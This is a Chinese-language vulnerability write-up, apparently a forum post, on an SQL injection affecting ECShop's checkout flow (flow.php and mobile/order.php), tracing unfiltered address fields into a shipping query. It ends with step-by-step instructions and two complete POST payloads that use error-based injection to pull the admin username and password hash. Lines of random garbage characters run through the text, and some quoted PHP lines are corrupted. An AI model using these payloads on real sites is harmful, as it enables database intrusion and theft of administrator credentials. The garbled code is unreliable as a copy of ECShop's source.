ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
3 A/ P9 _0 D5 t& z2 h
    漏洞关键文件：

# w7 q+ d1 Y) m) l9 @! b; f    /includes/lib_order.php

    关键函数：

2 b' W& |0 p! j2 o' R+ b; |
2 y  q- ~# j: W% D
01     function available_shipping_list($region_id_list)
! S5 T  y% }0 |, B/ \1 l
02 {

, C0 N; e/ S4 t* z  I: ~03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

. F: }& w* Z! v/ J+ p+ N$ K04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 t7 g0 Z0 }  n; E9 c. k/ p
7 M' w" ^0 a! \( _& i6 r" K06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
+ K" @# \+ n: [4 j6 M6 j+ q
$ ^( O; [$ ?7 ^07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

; [. Q3 |. I( f) m$ n  @1 M08             'WHERE r.region_id ' . db_create_in($region_id_list) .

1 t2 x. ^4 h: G5 P& T' m# z2 N% M09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
" x% Q# v0 M0 b
( v) j+ X! O4 p10   
. @6 E' b7 r, Z% A+ U/ l- W
5 e$ l! f' |  M2 F0 y; I11     return $GLOBALS['db']->getAll($sql);

2 @) f8 C  m; M: |& s  b, l12 }

5 W* C% W7 c  q: m" k& k; O显然对传入的参数没有任何过滤就带入了查询语句。
( p9 T9 ~3 m" W8 k  }1 ]" M7 p
: T& [  L% N+ T下面我们追踪这个函数在flow.php中：
& \: E4 Q, A- \  [9 {  F" Z* m; | 第531行：   

9 L# p& ]' O  v/ Q. v2 r' `1 $shipping_list     = available_shipping_list($region);
3 O/ D% r; \$ p! y$ o, e
2 L: n( f# A7 p: D* j

' l$ a  E) Y3 Q5 }1 ?9 i3 |

5 @8 I5 C/ ]* H+ p再对传入变量进行追踪：

第530行：   
3 U  v1 \1 r+ E& }+ L6 W1 t
8 J0 M  N2 ]; h, e# {1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

/ L5 W2 p* Q! n: ]

& Z/ b7 S9 ^9 S

. t! h4 }' g& U0 m6 I第473行：        
# E$ k# Y& T4 `, P+ I( X/ E0 X; u
" l2 x# Z- j( x, J2 v1 $consignee = get_consignee($_SESSION['user_id']);
1 o" m8 l. A  p( Z8 ?" t! ?
" }3 n# G( i2 B到了一个关键函数：

/includes/lib_order.php
; |7 G- M$ p( l) M
- |2 R  Q& O7 n/ S



01 function get_consignee($user_id)

6 H: C8 l( W4 V- g3 x) T& ]9 E9 `  f$ h02 {
4 O3 [6 Z7 o+ D, y5 }8 s4 G; Q% }
03     if (isset($_SESSION['flow_consignee']))
$ J8 O5 b8 g0 [& E8 e  B+ P: a
04     {

6 N- c/ e) N  [1 H7 @! |& F05         /* 如果存在session，则直接返回session中的收货人信息 */
8 _6 _4 p- f8 X5 _0 z
06   

8 e3 F6 Q4 @! V+ |; i8 H07         return $_SESSION['flow_consignee'];

% p6 v1 H7 I, t$ f$ X, K08     }

& m/ w% v1 r$ v09     else

+ x9 R8 T8 L$ f% F7 s) b10     {
# f% i& ?. r7 X* Y# N
5 h+ l, a6 _- r7 G8 f11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   

$ U1 N0 |2 p- @+ R14         if ($user_id > 0)

15         {

, t7 i9 I$ @+ }0 K$ Q2 C2 s16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

9 K# H* q9 B8 @9 S: A1 W19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
( h# x7 c1 |! Z3 B( P  y
0 \6 F. n. Z' x+ H, ]! m20   
( l+ x* b7 v9 ]
21             $arr = $GLOBALS['db']->getRow($sql);

% B  G& i* A) N22         }
4 `) B3 C% u: D+ c4 g" p2 T5 J
23   
/ b4 z* a& z3 u6 p
6 z! n% A0 t# y! ~, E# P: ]24         return $arr;
8 F6 l& E- N/ {" O
25     }
2 E2 O7 M; v) r  T' F9 o$ z; B0 Y3 R+ u
26 }
, }4 ]; d1 X- j! b  G5 `$ _
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:
- \5 ?  T' K6 U! e
9 a" Y: \7 r: S5 C, N" W' b3 c第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
/ s( T! w+ A, P# R' @/ ^


然后看下：
0 ^2 r9 \6 g5 }" L: I2 @' d


6 m+ b4 z+ d7 h3 U. C   

) o' |; w$ I) _# Y& R3 a01 $consignee = array(
" H$ w9 B7 M" A3 H: V$ Y( J
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
" x' C) q4 ?% e! t& S9 g
: C2 c9 F( @0 p/ C5 v% c5 g5 u$ ?03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
5 j2 t3 Q0 m5 w
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

+ f5 p3 N9 w$ X$ y3 r$ P/ s/ Z07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

$ X* X; G' c) i; J* G! K08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
/ L, ?: \4 {+ w5 |- Z
3 _# ?. W1 n2 A! K) g* F8 T+ B11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
0 b2 _3 @! _8 d1 \+ C2 o# z: X, J! U
- w- D3 l" z0 p: m; `' d9 |13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

( l* X5 X; i8 |/ b3 c14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

: y: Z5 o0 R4 o9 _& p) J' i好了注入就这样出现了。

7 S5 u7 H* n+ M' b* ?# |==================

注入测试：

; Z/ k0 R* q# Y* F  t: s环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

! g& q9 q) }' v测试程序：ECShop_V2.7.3_UTF8_release1106

: ?) t& `4 y) Z! j+ I
4 z& W3 Q" U! s+ G& j7 t
* }$ r$ r' `2 F* ~+ `1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

: j$ y7 j+ T; G9 }3 V6 T3.post提交数据
0 I$ V0 x; ^. o: i. c

* f0 ?+ Q! ?" I7 a3 G( n
5 z% c& q/ k7 ]" z. x2 @  ?1 http://127.0.0.1/ecshop/flow.php
5 i2 g8 r6 {3 H; I
! p2 K; ~5 v( n. K6 Y8 }7 [. O; Q2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
1 w6 [. U- N7 i' O3 H& ^* B" K2 r
7 h% l# `* W- o在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

( O! y2 K6 ~0 q9 u6 y' \# |% y利用exp:

1.点击一个商品，点击购买商标

2.登录会员帐号
& h' _. h& s9 ~7 P0 q5 ~
3.post提交：

7 M. o# T5 _6 R6 P' u6 s' f9 q6 V" qhttp://127.0.0.1/ecshop/mobile/order.php
) ?: ^7 f, O3 s+ M% P, Y+ F
/ ~) c. A: b0 |. \2 q
4 H- r6 E: d1 w/ j: j, J% d4 O
0 w- w# J6 S. M; j5 w3 \1 `. r- jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 M0 |) `# s, Q: e  P9 o; ^8 d